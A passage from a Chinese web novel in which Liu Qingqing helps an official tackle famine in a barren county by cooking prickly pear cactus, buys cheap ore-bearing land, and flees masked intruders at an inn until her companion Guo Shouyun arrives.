随着温如初的解释,温嬷嬷瞪大了眼睛:“骗人,她一个黄毛小丫头,如何可以抛头露面,如何能置办得下那么大一个青华园,定然是你哄我的……” 所以,妇人在后宅呆久了,会傻的。 温如初懒得听她的絮叨,叫来随从,给温嬷嬷灌下一碗安神汤,打发人收拾她的箱笼,立马送到上京,交给母亲处置。 次日,他和史居正骑着马,身后跟了一辆准备好的马车,另有十个穿便装的衙役相护,在城门口遇到如约而至,骑着高头大马的刘青青。 以往只觉得面善,被嬷嬷这么一闹,他忍不住仔细的观察刘青青的杏眼。 确实和一鸣一和的杏眼一模一样,眼角有个小弧度,微微上翘。 他昨日和嬷嬷说的话不假,世间一模一样的样多了去了,但是,一模一样的杏眼,实在太过巧合。 想起初次在刘家见到刘青青母亲时,那种莫名的亲近感,温如初心咚咚咚跳个不停:有没有一种可能,万一,万一,刘青青是流落在外姐姐的女儿呢? 第147章 第147章芭蕉芋 温如初落在脸上的视线犹如实质,刘青青是个爽快人,直接开口询问:“温大人,我牙齿上有韭菜么?”一句话,便把双方的尴尬,化成了笑话。 温如初:“……” 他暗觉失礼,连忙移开目光。一起行走的日子还长呢,慢慢打探便是。 史师爷瞟一眼她抱着的球,笑道:“没有,大人觉得你今天格外精神!” 刘青青拍拍身下的大妞:“能不精神么,大妞能出门,高兴得像中风一样,跑得就差飞起来,要不是我抓得紧,早被它甩下去了!” 她疼惜的拍拍手中的球,显摆道:“诺,幸好我有阿云送的头盔,才没把头发吹乱。” 见众人不解,她又把圆形的球套在脑袋上。 半圆的球将脑袋包裹得严严实实,只剩前面露出一个窗口,上面镶嵌着一层薄薄的水晶片。 温如初立马感受到了其中的妙处:骑马飞奔的时候,既不会影响视线,眼睛还不会被风吹得睁不开。 众人眼底流露出一丝羡慕,这玩意只要是骑马的人,谁不想要一个啊。 她手里稀奇古怪又实用的小玩意是真的多。 一番笑闹打趣,拉进了众人间的距离。 温如初笑道:“什么大人不大人的,若不嫌弃,叫我一声温叔便是。 给你准备了马车,我们先去常安县,约摸有三百余里山路,你去马车上歇着,免得风吹日晒!” 刘青青眼中闪过一道精光,常安县啊,正好是地图上有铁字的地方,不晓得是什么样的光景。她心中盘算,面上却拒绝道:“温叔,我还是骑马吧,骑马快些!” 全是崎岖的土路,马车确实多有不便。温如随善从流,嗯了一声,打发一个衙役将马车送回去。 因担心小姑娘一人不方便,特意为她准备了马车,她却一点也不扭捏,为大家的行程考虑,穿男装带头盔,跟着大家一起骑马。 众人对她随和不做作的性格,越发欣赏几分,将她护在中间,打马出发,安慰笑道:“放心,即便没有马车,我们一路尽量打尖住店,不会让你风餐露宿荒郊野外的!” 刘青青敏感的感受到了大家对她的亲切,首次相见的那一层疏离没有了。 十三骑马飞奔起来,激起一路灰尘。 跑了一个时辰,约摸八十里路,前面有条波光粼粼的小溪,温如初坐下的马匹,撩蹄子不肯再 动,口吐白沫,眼巴巴的往小溪边蹭。 他无奈的停了下来,后面衙役们的坐骑不如他的,又过了一盏茶才赶上来。一马当先的刘青青跑出去又折回来,不解道:“温叔,怎么不走了?” 温如初扫一眼打了个响鼻,露出大门牙得意洋洋的大妞,恨得牙痒痒:“马儿们跑不动了,下来休息休息!” 原本计划到下一个镇子落脚,哪知道出了城门大妞领着马匹们不要命的奔,府衙的马儿哪有大妞那个耐力,还有十多里路呢,全跑趴下了。 他有些羞愧,从自己包袱中挑出一包点心递给她:“你先垫垫,等马儿缓过来,我们去镇上吃点热乎的!” 刘青青摆摆手,笑道:“吃点热乎的还不容易!我刚刚看到鱼儿,不如各位叔伯抓几条上来,我们现烤了吃!” 温如初还未说话,史居正笑道:“好啊,这里风景秀丽,是个野炊的好地方!”着手安排人手捡柴搭灶抓鱼! 刘青青也没闲着,先把头盔退掉,露出一张清清爽爽的脸,然后解开箱子放在地上。众人摸一把自己脸上的灰,暗暗下决心,回去也弄一个头盔。 刘青青从箱子里先翻出两个豆饼塞到大妞嘴里,揪着它的耳朵打发它自己去喝水吃草。 又从箱子里拿出白米,和一包佐料。 刘青青请史居正从河边砍来两根毛竹,从竹节处砍开。干米在小溪里淘洗干净后,放进竹筒,再灌满水,用竹叶封口后,最后糊上泥巴。 衙役合力抓来十多条手掌大的罗非鱼,去鳞去内脏刮洗干净,正要穿在木棍上烤,刘青青笑盈盈接过:“木棍上烤鱼,鱼熟了不小心掉到火力,白瞎了这么鲜活的鱼,看我的。” 她随意从小溪边,用力拔起一丛挂着正红色花朵,叶片大大的足有她高的芭蕉芋,露出根茎上小小的块茎芋头。 芭蕉芋浑身是宝,她将花朵摘下,恰好每人分了两朵。 温如初失笑:“花儿留着给你带吧!” 刘青青没忍住噗嗤笑了:“这是解渴的,你们跟我学!” 她左手捏着花梗,右手轻轻扯掉正红色的花冠,只听到清脆的啪嗒一声,花冠从花萼上脱落下来,露出冒着汁水的断口。她顺着断开的花冠断口一吸,藏在花朵里的清凉的汁水便充斥这口腔,清甜干冽,比蜂蜜水还要甜,却没有蜂蜜水那种腻味。 可惜就是太少,意犹未尽。 不用她再说,围观的衙役们尝过味道后,对这种天然的甘甜上了瘾,自动去摘剩下的花朵,衣衫兜着捧过来分给大家。 喝过汁水的花冠刘青青没有扔,又从一边挑了几棵香茅草,一起在溪水里洗干净后,找了个干净的石头用石块砸碎,和带来的佐料搅拌均匀,塞在鱼肚子中。 然后用洗干净的香蕉芋的叶片,将鱼儿一条条包裹好。 食材准备就绪,生起火堆,将装着干米的竹筒,包了香蕉芋叶片的鱼儿,香蕉芋根部掰下来的块茎,全部丢到火力烧。 大家一边烧,一边慢悠悠的喝着采来的花冠,赶路的疲惫慢慢消散。 火堆慢慢熄灭,只剩下一堆冒着红色的灰烬,刘青青捡了个木棍小心翼翼掏出躲在灰烬里的鱼儿。 当大家看见,翠绿的叶片变成了黑不溜秋一坨时,惋惜了一下,全都糊了呢。 笑着安慰她:“火候过了头!一会我们去镇上找个食谱要上一份烤鱼!” 刘亲亲但笑不语,小心的一层层剥开黑糊的叶片丢掉,露出里层翠绿的叶子,她撕开一个洞, 一股浓烈的鲜香便如脱笼的鸟儿钻了出来,冒着热气的鱼肉犹如雪白的暖玉,瞬间一览无余。 她将鱼儿递给温如初:“温叔,尝一尝?” 温如初还是第一次用叶片代替饭碗,有些不习惯,一只手捧着叶片。 他一只手翻找自己的行礼,打算从中找出勺子或者筷子来。 刘青青已经递上了一双临时的筷子:烧火的时候她留下了许多小枝条,削得整整齐齐,原来是给大家当筷子用的! 分完鱼的刘青青,又从火堆里掏出一只只竹筒,竹筒上的泥巴已经烧干了,轻轻在石头上一磕,便碎掉,露出封口的竹叶。 再用砍刀从中劈开,香喷喷的白米饭粒粒分明。 啧,鱼肉鲜美嫩甜,带了一股淡淡的植物清香,竟然能把便宜下贱满是土腥味的罗非鱼,做成这种味道,遇仙楼的大厨也没这能耐罢。 米饭香糯入味,隐隐有竹香,大家看刘青青就像看仙女一样。 试问,没锅没灶,随手便能作出一顿美食,不是仙女是什么? 吃完饭,刘青青不忘记招呼大家,从火堆里继续淘宝,还有香蕉芋的根茎呢! 约摸有黄姜大小的根茎,被一块块的扒拉了出来,剥掉外面烧焦的黑皮,露出里头乳白色的芋头心,轻轻一掰,就像烤红薯一向撕裂开,塞到嘴巴里,香糯软绵,淡淡的清甜,口感比烤红薯还要绵软,却不会被噎到。 嗯,这个饭后点心,好吃。 最主要的是,这么一顿美味,竟然不要钱,还不用洗碗,对于这些大老爷们来说,实在,太过瘾了! 吃饱喝足,马匹们也尝够了青草,缓过了劲。大家继续开始上路,不同的是,这次,大家自动跟在刘青青身后,刘青青从一个需要大家爱护照看的小辈队友,变成了领头的主心骨。 越往前走,地貌发生了巨大的变化。 之前一片翠绿,但进入常安县境内后,四周树木变得稀疏,甚至寸草不生。 土地沙化严重,南安府随处可见的大叶片芭蕉芋在这里消失不见,反而出现了大片大片的仙人掌。当然,本地人叫,牛舌头,对其恨之入骨。 常安县境内的仙人掌,一片挨着一片,层层叠叠。每一片上,都有密密麻麻的尖刺,牲口吃了扎破嘴,还野蛮生长,农户们稍微不注意,种满口粮的肥沃土地,就会被这些牛舌头侵占。 刘青青感叹大自然的鬼斧神工,相差了百多里路,竟然出现了这种极端的地貌,实在太神奇了,另一面,心里也在暗搓搓的欢喜。 仙人掌是嗜铁的植物,这样大规模的生长,是不是意味着,常安县土地里,铁含量已经到了一个非常高的值,才会让仙人掌肆无忌惮霸道生长,其他植物猥琐发育。 不过,现在要解决的第一个问题是,常安县的口粮问题。 她已经发现,路过的百姓裤满身疲惫,皮包骨头,盯着他们坐下的马匹眼冒绿光,已经到了一个极致,若不决绝饥饿问题,甭说开发铁矿的事,她们能不能全身而退,都是个问题! 第148章 第148章牛舌头 大家不自觉的围拢在一起,将刘青青和温如初护卫在中间。一向扯高气昂的大妞,任由衙役的驽马挤着也不发作,灵性的察觉周围冰冷不怀好意的目光,乖巧极了。 衙役们棱起双眼,故意展露出腰间的铜牌和弯刀,展示官家身份,慢慢的,躲在暗处偷窥的视线才消失。 一行人有惊无险的到达常安县县城。 与常平县繁华的街道相比,常安县县城只有短短的一条街道,坑坑洼洼的主路两旁,杂乱的挤着各种商家店铺,街上行人寥寥无几。 常安县知县庞忠等候在县衙大门,肥胖的脸上堆满了笑容,热情的问好:“温大人,你可来了,快里边请!” 县衙也是破破旧旧的,脚下的青石板地面,已经碎裂了大半,不时冒出杂碎的野草,颓败而荒芜。 一行人坐定喝茶,不对,喝茶叶沫子。庞忠拉着温如初哭诉:“大人,我可是把你盼来了! 现在正是青黄不接的时候,百姓们家中没有余粮,饿得眼冒绿光。其他县份好歹能上山弄点野果野菜,扣点树皮充饥,可怜我们常安县,到处是疯长的牛舌头,浑身长满了尖刺,百姓们实在弄不到吃的,再这样下去,只怕大事不妙。 县衙的粮仓已经放空了,还 请府衙拨款接济一二,才能度过这个难关……” 温如初:“……” 他查了往年的流水,常安县每年确实都有一笔拨款,只是,去年的时候讨要了一万两,拨款8千两,今年竟然讨要二万两。 他初次上任,怕被下面的人糊弄,放款的公文暂时压着案头,亲自下来查验一番,再做打算。 看着外面一路行来的情况,不容乐观。庞忠说得不算作假,正要回答,待回去后立马发签,史居正咳嗽了一声。 温如初舌头打了个转,介绍起刘青青来。 “庞大人,来来来,给你介绍一下,这是府城青华园的东家,刘青青。他们的特产每次上新,都哄抢一空,此行我特意请了她过来。” 庞忠满腔的悲重被打断,眨巴了两下眼睛。 不是,说着拨款的事情,怎么就生硬的扯到青华园了。 南平府的人谁不知道青华园啊,他还吃过青华园的冰粽呢。青华园日进斗金,人家的东家怎么看都不像面前这个黑黑瘦瘦的矮个子小子啊。 即便面前这个矮个子真的是青华园的东家,常安县熟地有限,粮食产量低下,百姓自己家的口粮都不够,根本拿不出多余的粮食来做粽子啊、米粉之类的。 他暗暗恼怒温如初不做人,民生大事,推一个小子来糊弄人。 许是看到他眼底的不屑,温如初慢悠悠喝了口茶:“庞大人,授人予鱼,不如授人予渔。府衙也有府衙的难处,马上雨季到了,河堤还等着修呢,到处要用银子。 你要帮百姓立起来,不要想着靠别人!” 庞忠腹诽:我立个屁! 他苦着脸,不软不硬的刺了回去:“大人,不是我不帮百姓立,只是,常安县不如常平县,漫山遍野的鲜嫩菌子,等着人去捡。 这里到处野蛮生长的牛舌头,一身的刺,想吃,也下不去嘴啊。” 温如初被他一噎,碍于身份不好下场争辩。 史师爷笑呵呵道:“庞大人,常平县的菌子并不是都可以吃的,里头有些剧毒,误食一点就没命了!” “我们大人和刘东家,担着风险,耗费了无数心血,将能吃的菌子试验出来,变成了餐桌上的美味,同时让常平县的百姓通过卖菌子,喝上了米粥,吃上了肉。” “常安县也可以学学嘛!” 温如初和史居正一个唱红脸,一个唱白脸,将庞忠挤兑得无地自容。 刘青青感叹学到了! 她适时出声:“庞大人,俗话说,靠山吃山,靠河喝水,你们就没试过,用牛舌头来赚钱?” 庞忠脸拉成个苦瓜:“如何没试过。” 牛舌头一身的刺,百姓耗费精力,辛辛苦苦采回来,又涩又硬,根本没法入口。” 折腾了好多次,百姓们根本不愿意听官府的话,宁愿在家躺着省点力气,也不愿去碰牛舌头。 刘青青皱眉,什么叫辛辛苦苦采回来,掰个仙人掌,很难么? 耳听为虚,眼见为实。她夸得天花乱坠,也不可能改变他们的想法。 刘青青笑道:“庞大人,现在时辰还早,不如你带我们走走逛逛,顺便采些牛舌头回来,我用牛舌头做几个菜,今晚的晚饭,不就有着落了么?” 庞忠愣了一下,定定看了刘青青一眼,确认她不是在说笑。 心里的小九九打开了。 以往也请过些富商回来,资助常安县。不过人家一来,看到穿着破烂,衣不遮体的百姓,防备至极,躲在县衙里不愿出门一步,最多留下吃顿饭,拍拍屁股便走了。 善款没集道,反而花费了无数好菜好酒招待富商,府衙没钱,这些开销全是百姓一文一分集资的,所以百姓对外面来的商人,相当的反感,甚至厌恶。 今日来的刘青青竟然要求上山下地,看着倒是个干实事的,可惜年岁小些,不知道牢靠不牢靠。 左右没事,领着他们出去外面走走,让温大人亲身体会常安县的困苦,申请的救济银才能下来。 庞忠想了想,领着他们立刻动身出了门。 一行人骑着马,穿过破烂的街道,直奔县城外十里地的牛舌山。 挨着县城的多是平坦的田地,弯弯曲曲的小河盘绕而过,按理来说,这样的地块农作物应该茁壮成长才是。 可惜一路行来,田地里的稻苗枯瘦发黄,稀稀疏疏病歪歪的模样,看得温如初心肝儿直颤。 庞忠打马停下道,躬身对温如初道:“大人啊,乡亲们细心照料这些庄稼,早晚伺弄在田地间,你们看看这些天地,野草都被薅得一干二净。可是稻苗不争气,收成一直上不去!” “听说常平县的稻种产量高,我特意筹集了一笔银子去买回来的种植,可惜种到田地里,依旧是这半死不活的模样,哎!” 买了自家的稻谷,她怎么没映像? 刘青青看着稻苗下发黑的泥土,望着从山上晃悠悠静悄悄流淌下来的小河,在阳光下闪亮夺目,若有所思。 终于到了牛舌山脚,泥土由深黑色,慢慢变成了红色,充斥了无数的沙硕,碎石头。 这样的地方是没法种庄稼的。 这是属于仙人掌的乐园。 一簇簇仙人掌,本地人叫牛舌头,茁壮生长,在阳光下晶莹翠绿,生机盎然。 仙人掌的种类有一千多个,其中大多蕴含生物碱,食用后会中毒,轻者腹泻浑身水肿,重者一命呜呼。 但是,常安县的仙人掌叫梨果仙人掌,扁平的形状,如牛舌头一般,恰好能食用。 难怪本地人将仙人掌起名牛舌头,还挺形象。 刘青青停下马,从框中取下一把泛着银光的小镰刀,而后将手柄一节一节扭了上去,又在镰刀的下方,装了一个网兜。 庞忠看了直呼稀奇,镰刀他见过,农户家的镰刀只有手臂长,割稻谷时很方便。 刘青青这个镰刀,手柄竟然有一丈多长,轻巧灵便。 只见刘青青将长长的镰刀伸进长满尖刺的牛舌头荆棘里,手腕稍微用力,躲在深处新冒出来的牛舌头片,便被割断,掉在网兜里。 刘青青收回网兜,嫌弃的看着网兜里嫩绿的牛舌头片:“还是太老了,将就着吃吧!” 他们又往里走了一段路,竟然发现了几个橙黄色的果子,挂在仙人掌的枝头。 刘青青故技重施,用长镰刀顺着果子的颈端轻轻一勾,橙黄色的果子咕噜滚在网兜里,抬了出来。 如此了几次,不大一会,便攒了满满一捆仙人掌嫩片和一衣兜仙人掌果实。 几人寻一个平缓的地方坐下,刘青青重新翻出一把锋利的小刀,三两下将叶片上的尖刺全部撬掉。 然后顺着将外层的皮削掉,露出里头翠绿的肉,递给庞忠。 庞忠对刘青青那个箱子艳羡不已,藏着不知道多少精巧的玩意。 百姓们都是徒手摘叶片或者果子,一不小心,便扎许多的刺。 庞衷询问,能不能给大家照着打一份这种采果子的工具,刘青青欣然接受。 庞忠眨眨眼。 迟疑的接过嫩片,试探的咬了一口。 汁水横流,脆嫩清冽,带着淡淡的甜黏,和黄瓜口感相似。嗯,算是夏日一道简单的解暑凉菜。 若只是凉菜,不值得百姓大动干戈来采收割走,用百姓的话说,有那个力气,还不如在家躺着,少花费些力气,且能节省一些粮食。 刘青青但笑不语,剥开一个仙人掌果实,去掉外层硬壳,露出里头玫红色鲜嫩的果肉,细心挑出里头的一根尖刺。 这次是温如初先尝试:仙人掌的果肉,汁水四溢,入口即化,带着清爽的甜,恰到好处的酸,好吃,可惜有果核会愣牙,降低了食用体验。 他正犹豫要不要将果核囫囵吞下,刘青青的声音在耳边响起:“果核有毒,会导致严重便秘。但可以用来做美容的药物,吐出来收集在一起,有大用处呢!” 听到可以美容,温如初立马想起自家夫人买水粉豪掷千金的模样,将果核吐到手心里捏好,那小心的模样,仿佛捏的不是果核,而是金瓜子。 他感叹:“这个果子蛮好吃的,可惜,壳太结实,肉太少!” 刘青青感叹:“壳结实才好呢!无论多颠簸的山路,都能不损皮貌运出去!” 听到他们的谈话,庞忠感叹不已,老老实实将果核一颗不漏的吐在手心里。 他原本吃过一次牛舌头的果实,因果核较小,他吃得豪放,一起吞下肚,便秘了好几天,肚子里翻江倒海,偏偏粪门被针线缝起来一般,那种体验可谓是酸爽至极,后来没办法,请了大夫废了老鼻子劲儿弄好,将养了堪堪半月才能下地,一直以为是果肉里有毒,原来是因为没吐核。 每人分了一个后,刘青青 也尝了一口,在异地他乡,竟然感受到了家乡的味道。 仙人掌和火龙果同属一科,果子的味道和火龙果大差不离。这个时候,大赵国还没有火龙果呢,仙人掌果算是一种新奇的果子。 不过仙人掌四年才结一次果实,果肉蕴含多种氨基酸维生素,最有价值的却是果核。 硬壳包裹的果核可以榨油,里头富含维生素e和一种酸性物质,敷面后能有效美白抗老,滋润肌肤,让皮肤光细腻有弹性,深受贵妇们追捧。 末世为了提取这种物质,在土地紧张的前提下,还专门弄了一块地种植仙人掌。 当然仙人掌有很多种:圆柱形的,球形的,扁椭圆形的。常安县的是扁长椭圆形,叫梨科仙人掌,恰好是可以食用的。 除了果核有用之外,嫩绿的叶片,味道甜美清冽,可以做菜。 不老不嫩的叶片养殖胭脂虫,是女子胭脂的天然红色涂料。 老的叶片用来养牲口,庞知县说牛都不愿意吃,是因为牛的口腔受不了尖刺,要是把尖刺去掉了呢,便是很好的饲料来源,甚至可以引进骆驼来养殖。到时候骆驼奶,骆驼肉,骆驼峰,啧,青华园能上架一些列的新菜。 即便没有铁矿,这一趟来得也太值了。 吃着果肉,刘青青已经计划着青华园来年的菜谱,暗暗告诫自己,一口吃不成个胖子,慢慢来,强行将思维拉回来。 带着采集回来的仙人掌叶片和果实,一行人回到县衙。 刘青青亲自下厨,用仙人掌做了一桌子菜。 第一个是凉拌仙人掌。 嫩嫩的仙人掌片去掉尖刺洗干净,削去老皮,切段后焯水,控干水分撒上蒜泥,辣椒面,麻油,便是一道夏日极其开胃的凉菜。 第二个香炒仙人掌。这次焯水后切成细丝,锅中放油,撒入姜丝爆出香味,将仙人掌丝爆炒。 还炖了个仙人掌鸡汤。 炖得半熟的老母鸡汤中,倒入切成块的仙人掌,撒入几颗枸杞,继续小火炖煮一刻钟,便可以起锅装盘。 另外,刘青青还将剩余的八个果实和三个嫩片去刺去皮洗干净后切小,倒入小石磨中磨碎,然后用纱布滤出其中的汁液,便是仙人掌果汁。 几样菜端上桌子的时候,大家新奇的。 特备是庞忠,看到白瓷杯里绿糊糊的汁液,几个菜色或翠绿、或嫩绿、或墨绿,吓得一个哆嗦,过往被仙人掌果核支配的恐惧又升了上来。 刘青青笑盈盈的看着他,大有请他第一个品尝的架势。 人家远道而来,又是上山实地考察,又是亲自下厨开发新菜式,他不主动试菜,有点说不过去。 庞忠夹起一片裹着些佐料的翠绿凉拌牛舌头块,入口滑脆淡甜,微微的麻辣。大蒜的冲黄姜的辛,将仙人掌的甜无限放大,很是清凉解热。 他又夹了一筷子嫩绿香炒牛舌头,一丝犹如筷子粗细,两丝之间产生了一点点的拉丝,如秋葵般的黏腻,又如青华园奶茶里的椰果一样脆滑,还如黄瓜般的清爽。 完全颠覆了他对牛舌头的印象,竟然如此美味。 最后与鸡汤清炖。 金黄香浓的鸡汤,飘着红艳艳的枸杞,和墨绿牛舌头片。 庞忠舀起一勺鸡汤送入口中。嘴里多了一种淡淡的青涩,解了鸡汤油腻的同时,又让炖鸡多了一种不同的风味,让人吃了还想吃。 最后便是果汁,酸酸甜甜,清凉解热,炎炎夏日里来一杯,极其爽快。 这一桌子的美味,给了庞忠一个定心丸,他彻底放了心,目光灼灼的看着刘青青:“刘东家,要怎么做,你只管说,我一定全力配合!” 刘青青想了想,常安县现在最需要的便是粮食,便道:“你宣布出去,我们收购仙人掌嫩叶,还有橙黄色的果实。” “十斤叶片换一斤碎米,五斤果实换一斤碎米。” 说到生意,热情的庞忠立马变得市侩,熟练的还价:“太便宜了吧,能不能多一点?那么多刺,很难采到的。” 刘青青正色解释道:“庞叔,您别慌着还价,您掰着手指头算算。 这个叶片我收上来,要去刺,要削皮,还要请人加工。耗费巨力运到府城,真不赚你们钱,也就是因为温叔叔,我才做这亏本的买卖。” 庞忠抓住了其中的重点:“请人加工是什么意思?” 刘青青解释:“从常安县到府城的路,骑马只要一天,但是运载货物,那路况您心里有数,五天都吃力。” “这么热的天气,新采下来的叶片放不到第二天,坏了的叶片会吃坏肚子,得加工成泡菜或者果脯,才能运出去,肯定得在这里建个作坊,聘请本地人上工!” “您看,您是不是划一块地给我?” 庞忠满脑子都是建个作坊,聘请上工八个字。 采摘叶片果子解决掉一部分劳力,上工又创建了一部分工作机会,这棋子算是盘活了。 他忙不迭的点头:“你建立作坊,有个什么要求?” 刘青青随意道:“为了保持食材的新鲜,离原材料越近越好!”她眼前一亮:“你们县衙周围就挺合适!” 庞忠愕了一下,头摇得像拨浪鼓:“那不合适,县衙周围的地已经全部卖掉,都是住宅,如何能给你建作坊!” 光赔偿那些百姓就是一大笔费用,府衙哪里有那个闲钱。 提议道:“就在牛舌山脚下如何?那里采摘牛舌头方便。” 他越想越觉得这个主意机智。牛舍山那一片算是无主的荒地,现在还在县衙的书房里挂着呢。 用一片荒地哄得刘青青留下来,再合适不过。 刘青青眼底闪过一丝精光,欣然同意:“也行!” “这个,庞叔,那块地是借我们办作坊,还是送我们啊?” 庞忠有些卡壳,原本计划着把作坊办起来后,让他们赚个十年八年的钱,然后把作坊收回官府名下。 被刘青青当面点破,他不敢再挖坑糊弄人,讪笑道:“荒地属于朝廷的,我哪里有资格送。你要是不放心,干脆买下来?算你便宜些。” “多少钱?” 庞忠试探的伸了伸三个手指头。 3两一亩,怎么不去抢,那片地加上山头,至少三万多亩,光买地便要十万两,青华园抽不出这么多现银。 她心里焦急,面上却不显,冷笑道:“这么贵,庞叔留着自个办作坊吧!” 端茶喝水,打算告辞。 眼看下蛋的母鸡要飞,庞忠急忙缩回一个手指头:“那成,少你一万两,两万两拿来,那片地就归你了!” 常安县的土地这么便宜?不是按亩卖。 刘青青呛得一口水喷出来,咳得惊天动地。 庞忠以为她嫌贵,又缩了一个手指头,委屈道:“一万两,不能再少了!” 那片山头三万亩多不到四万亩,长满了可以卖的牛舌头。二百多文就买一亩地,要不是府衙到处是窟窿,等着用钱,他是不会卖的。 刘青青眨眨眼,强行收敛住上翘的嘴唇,淡漠道:“行吧,看庞叔这么有诚意的份上,我买了!” 两人都怕对方反悔,直接去签房落户,庞忠看着她从怀里随意掏出一沓银票点了一遍放在桌子上,在温如初等人的见证下,他在地契上盖上了府衙的官印。 因刘青青没带青华园的印章,所以这张地契,执有人是刘青青。 银货两讫,双方都放下了心。 因天气已晚,庞忠亲自将一行人送到县衙外面最好的一家,也是唯一一家酒楼,通福客栈居住。 县衙里,除了他和家人住的那几间屋子完好,剩下的屋子要么漏风,要么漏雨,实在没法落脚。 招呼店小二打来热水,刘青青洗去一身的风尘,捧着新鲜出炉的地契,钻到干净的床榻里打了个滚。 啧,捡了个打漏。 今日 上山割仙人掌果实的时候,她看到荆棘里躲着些红褐色的大石头。 若她没看错的话,这是含四氧化三铁极高的铁矿石。 其他地方的铁矿石需要深挖地底,这里倒好,直接长在地表,不晓得山上荆棘深处,还有多少这样的石头。 刘青青越想越兴奋,滚来滚去睡不着,想找个人分享一下。奈何身边只有一个大妞。 想起大妞今天还没吃过果子,肯定在撩蹄子。她急忙一骨碌翻起来,穿戴好衣裳,提起装着从府衙带回来的仙人掌果汁的竹筒,乐颠颠到后院马棚里喂马。 因她身材矮小够不到,干脆钻进马棚里凑到大妞身边,喂它喝果汁的同时,顺便给它梳毛。 这一钻不要紧,竟然看到客栈的老板娘悄悄打开后门,放进来一伙身穿黑衣的蒙面大汉。 刘青青躲在大妞身后,吓得心如鼓雷,好个庞忠,竟然把他们往贼窝里送! 她想悄悄摸到楼上去提醒温如初等人,可是那伙蒙面人已经走上了楼梯。 刘青青咬咬牙,打开马棚,牵着大妞如离弦的箭,冲进了夜色里。 到处黑黝黝的,只剩下天上的月牙,照出淡淡的光辉。 耳边的风呜呜的吹,好似有人在身边呜咽,身后远远的灯火通明,刘青青紧紧的趴在大妞的背上,双腿绷直,示意大妞快跑。 一人一马独自在漆黑的夜色中疾驰,无数的黑影倒退,被她们甩在了身后。她紧了紧身上的衣裳,害怕极了。 不知道是害怕福祸难料的温如初等人,还是害怕躲在暗处的危险,仰或害怕这无边的夜色。 直到这一刻,她才知道,郭守云已经成了她心中的依靠。 不知道什么时候,那个瘦弱的男孩,已经悄悄为她撑起了一片安全的领域。 出门在外,他会提前预想好可能的突发状况,将所有危险的情况一一排除。到达了地方,他用警惕的眼光,扫过每一个人,扫过每一处危险,做好预案。 …… 大妞不愧为大宛宝马,连续跑了两个时辰,将代表了危险的喧嚣远远的甩在了身后,许是累了,慢慢的停在了路边。 刘青青摸着它浑身的汗珠,听着它大口大口的喘着粗气,心疼极了。 她的大妞,第一次这样狼狈。 刘青青靠在大妞身上,无声的哭泣。 头靠到马鞍的时候,发现马鞍里头有点不同。 她将手伸进马鞍里边,发现一个小包裹,就着朦胧的月光打开,竟然是一包点心,还有些碎银子。 她若有所思,将手伸到另外一边的马鞍下,竟然扯出了一件薄薄的披风。 刘青青将披风套在身上,夜色的阴冷好似被隔绝在了外面,她尝了一口普通的黄豆糕,平时黏腻的味道,此刻却满是香甜。 这些全是郭守云悄悄帮她准备的。 他不知道她会不会遇到意外,但他一直安静做好所有的准备,替她想好所有的可能。 这一刻,吃了绿豆糕的刘青青不再害怕,充满了斗志,恢复了勇敢,她喂了大妞一块绿豆糕:“休息好了没,我们上路了?” 第149章 第149章返回 “我独自走在郊外的小路上,我把糕点带给外婆尝一尝,她家住在遥远又僻静的地方,我要当心附近是否有大灰狼……” 刘青青调转马头,趁着月光,一面左右观察路边有没有民居,准备顺手牵羊弄身衣裳换掉,乔装打扮一番,回去打探消息,接应温如初等人,一面小声哼哼末世学校里的歌曲,给自己壮胆。 哒哒哒 好似有什么在身后? 她缩了缩脖子,将耳朵缩进披风里,听不见听不见。 哒哒哒…… 踏踏踏…… 声音越来越清晰,越来越近,她没法再假装听不见。 刘青青紧紧身上的披风,紧紧攥着大妞的马鬃,汗毛一根根竖起来,颤着牙:“大妞,你有没有听到什么声音?” 回应她的是大妞愤怒的噗嗤声。 刘青青认命:“你也听到啦!” 不会说话的大妞:其实是你扯疼我了! 想不到那些恶人竟然抄近道跑到了她的前面。刘青青咬咬牙,从马鞍下抽出匕首,紧紧握在手心,那些恶人敢伤害她,势必在他们身上戳一个窟窿出来。 她夹紧双腿催促大妞快跑。 麻绳只挑细处断,厄难专找苦命人。 许是大妞跑累了,竟然越跑越慢,最后罢工停了下来……停了下来 刘青青气得骂娘,狠狠在大妞脑袋上拍了一下,一定是平时给它吃的太饱,关键时候掉链子! 眼看后面的马蹄声越来越近,她当机立断跳下马背,狠狠在马屁股上甩了一鞭子,矮身钻进了一旁的小树林,猫腰躲在草丛后。 令她懵逼的是:犯倔的大妞,重重挨了一下打,不往前跑,反而生气的在原地转圈撅蹄子,表达被抽打的不满。 要不是它跳得实在太厉害,尘土飞扬,害她被沙尘迷了眼睛,她一定要把手中的匕首捅到它屁股最厚的肉上,扭两圈,好叫这傲娇的臭马知道,什么叫主人。 正当刘青青双眼酸痛泪流满面,绝望骂娘之际,哒哒声在身边停下,朦胧中一个漆黑的人影走到她面前。 刘青青琢磨着手中的匕首直插式,还是旋转式杀伤力更大的时候,熟悉的声线传来:“阿青,对不起,我来迟了!” 她送出去的匕首连忙拐了个弯,眨巴着红通通眼睛惊疑不定:“阿云?” 下一刻,她落入熟悉的背上:“是我,我背你!” 郭守云将她放在背上,高一脚低一脚走出矮树林,内疚自责不已,埋怨自己来得太迟,让阿青受到了巨大的惊吓,哭成这样。 当他看见她平时笑盈盈的脸上,挂满了晶莹的泪珠,心口就像被紧紧捏了一把,疼得几乎让窒息过去。 郭守云从马鞍上扯下一块垫子铺在地上,小心翼翼的将她放上去,从荷包里捡了一颗糖塞到她嘴巴里,轻轻的拍着刘青青背:“没事了,有我呢!” 说完嗓子里轻轻哼了一声。 正在和大妞玩耍问好的棉花黑炭二妞,立马丢下大妞,吭哧吭哧蹭过来,自觉的靠在她身边,当个狗形的暖宝宝,为她驱赶夜色的冰冷。 两狼一人形成个等腰三角形,紧紧的将她护在里头。 刘青青被棉花和黑炭挤得难受,嫌弃的扯着它们的尖耳朵,把两个凑上来的大脑袋拍到一边。 用力眨巴几下眼睛,尘土挤出眼睛后得以重见光明,她才看清正面郭守云青黑的脸。 刘青青拉着他的手:“你怎么来了?” 她恢复平时的冷静,浑身冒着戾气的郭守云瞬间变得平和无害:“温大人寻的那伙子人,全是粗糙的大老爷们,我琢磨着他们不能照顾好你,把园里的事安排妥当了便来寻你们。” 好似怕她生气,他连忙解释:“你放心,棉花黑炭跟我来了,但是,我将碰碰瓷瓷搬到土豆苗旁边,保证没有小动物敢去偷吃。 怕碰碰瓷瓷出意外,让陈敬、刘豪四人轮两班,不间歇的去守着碰碰瓷瓷,定然不会有问题!” “他们信得过么?” 